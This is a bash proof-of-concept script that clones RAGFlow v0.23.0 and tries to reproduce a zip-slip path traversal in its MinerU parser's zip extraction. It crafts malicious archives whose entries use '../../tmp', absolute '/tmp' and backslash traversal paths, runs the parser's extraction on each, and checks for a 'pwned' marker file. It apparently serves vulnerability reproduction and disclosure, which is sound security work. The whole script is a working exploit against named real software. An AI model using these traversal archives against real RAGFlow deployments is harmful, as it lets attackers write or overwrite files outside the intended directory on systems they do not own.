#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

WORK_DIR="$ROOT/vuln_variant_work"
REPO_DIR="$WORK_DIR/ragflow"
ZIP_PATH="$WORK_DIR/evil_no_root.zip"
ZIP_PATH_ABS="$WORK_DIR/evil_abs.zip"
ZIP_PATH_BACKSLASH="$WORK_DIR/evil_backslash.zip"
EXTRACT_DIR="$WORK_DIR/extract"
PWNED_FILE_NO_ROOT="/tmp/ragflow_zip_slip_variant_no_root"
PWNED_FILE_ABS="/tmp/ragflow_zip_slip_variant_abs"
PWNED_FILE_BACKSLASH="/tmp/ragflow_zip_slip_variant_backslash"
LOG_FILE="$LOGS/vuln_variant_attempt.log"

export REPO_DIR ZIP_PATH ZIP_PATH_ABS ZIP_PATH_BACKSLASH EXTRACT_DIR PWNED_FILE_NO_ROOT PWNED_FILE_ABS PWNED_FILE_BACKSLASH

python3 -m pip install --quiet numpy pdfplumber Pillow strenum requests beartype

if [ ! -d "$REPO_DIR" ]; then
  mkdir -p "$WORK_DIR"
  git clone https://github.com/infiniflow/ragflow.git "$REPO_DIR"
fi

git -C "$REPO_DIR" fetch --tags

git -C "$REPO_DIR" checkout -f v0.23.0

rm -rf "$WORK_DIR/extract" "$WORK_DIR/evil_no_root.zip" "$WORK_DIR/evil_abs.zip" "$WORK_DIR/evil_backslash.zip"
rm -f "$PWNED_FILE_NO_ROOT" "$PWNED_FILE_ABS" "$PWNED_FILE_BACKSLASH"

mkdir -p "$WORK_DIR"

{
  echo "[+] Attempt 1: Zip Slip via no-root zip (extractall)"
  python3 - <<'PY'
import os
import zipfile

zip_path = os.environ["ZIP_PATH"]

os.makedirs(os.path.dirname(zip_path), exist_ok=True)
with zipfile.ZipFile(zip_path, "w") as zf:
    zf.writestr("payload.txt", "safe")
    zf.writestr("../../tmp/ragflow_zip_slip_variant_no_root", "pwned")
PY

  mkdir -p "$EXTRACT_DIR"

  python3 - <<'PY'
import os
import sys
import types
import importlib.util

repo_dir = os.environ["REPO_DIR"]
zip_path = os.environ["ZIP_PATH"]
extract_dir = os.environ["EXTRACT_DIR"]

# Provide a minimal stub for deepdoc.parser.pdf_parser to avoid heavy imports.
stub_pdf_parser = types.ModuleType("deepdoc.parser.pdf_parser")
class RAGFlowPdfParser:
    pass
stub_pdf_parser.RAGFlowPdfParser = RAGFlowPdfParser
sys.modules["deepdoc.parser.pdf_parser"] = stub_pdf_parser

module_path = os.path.join(repo_dir, "deepdoc", "parser", "mineru_parser.py")
spec = importlib.util.spec_from_file_location("mineru_parser", module_path)
mineru_parser = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mineru_parser)

parser = mineru_parser.MinerUParser()
parser._extract_zip_no_root(zip_path, extract_dir, None)
PY

  if [ -f "$PWNED_FILE_NO_ROOT" ]; then
    echo "[+] Variant reproduced: $PWNED_FILE_NO_ROOT created"
    exit 0
  fi

  echo "[!] Attempt 1 failed, trying absolute-path zip entry"

  python3 - <<'PY'
import os
import zipfile

zip_path = os.environ["ZIP_PATH_ABS"]

os.makedirs(os.path.dirname(zip_path), exist_ok=True)
with zipfile.ZipFile(zip_path, "w") as zf:
    zf.writestr("payload.txt", "safe")
    zf.writestr("/tmp/ragflow_zip_slip_variant_abs", "pwned")
PY

  python3 - <<'PY'
import os
import sys
import types
import importlib.util

repo_dir = os.environ["REPO_DIR"]
zip_path = os.environ["ZIP_PATH_ABS"]
extract_dir = os.environ["EXTRACT_DIR"]

stub_pdf_parser = types.ModuleType("deepdoc.parser.pdf_parser")
class RAGFlowPdfParser:
    pass
stub_pdf_parser.RAGFlowPdfParser = RAGFlowPdfParser
sys.modules["deepdoc.parser.pdf_parser"] = stub_pdf_parser

module_path = os.path.join(repo_dir, "deepdoc", "parser", "mineru_parser.py")
spec = importlib.util.spec_from_file_location("mineru_parser", module_path)
mineru_parser = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mineru_parser)

parser = mineru_parser.MinerUParser()
parser._extract_zip_no_root(zip_path, extract_dir, None)
PY

  if [ -f "$PWNED_FILE_ABS" ]; then
    echo "[+] Variant reproduced: $PWNED_FILE_ABS created"
    exit 0
  fi

  echo "[!] Attempt 2 failed, trying backslash traversal zip entry"

  python3 - <<'PY'
import os
import zipfile

zip_path = os.environ["ZIP_PATH_BACKSLASH"]

os.makedirs(os.path.dirname(zip_path), exist_ok=True)
with zipfile.ZipFile(zip_path, "w") as zf:
    zf.writestr("payload.txt", "safe")
    zf.writestr("..\\..\\tmp\\ragflow_zip_slip_variant_backslash", "pwned")
PY

  python3 - <<'PY'
import os
import sys
import types
import importlib.util

repo_dir = os.environ["REPO_DIR"]
zip_path = os.environ["ZIP_PATH_BACKSLASH"]
extract_dir = os.environ["EXTRACT_DIR"]

stub_pdf_parser = types.ModuleType("deepdoc.parser.pdf_parser")
class RAGFlowPdfParser:
    pass
stub_pdf_parser.RAGFlowPdfParser = RAGFlowPdfParser
sys.modules["deepdoc.parser.pdf_parser"] = stub_pdf_parser

module_path = os.path.join(repo_dir, "deepdoc", "parser", "mineru_parser.py")
spec = importlib.util.spec_from_file_location("mineru_parser", module_path)
mineru_parser = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mineru_parser)

parser = mineru_parser.MinerUParser()
parser._extract_zip_no_root(zip_path, extract_dir, None)
PY

  if [ -f "$PWNED_FILE_BACKSLASH" ]; then
    echo "[+] Variant reproduced: $PWNED_FILE_BACKSLASH created"
    exit 0
  fi

  echo "[-] Variant not reproduced in any attempt"
  exit 1
} | tee "$LOG_FILE"
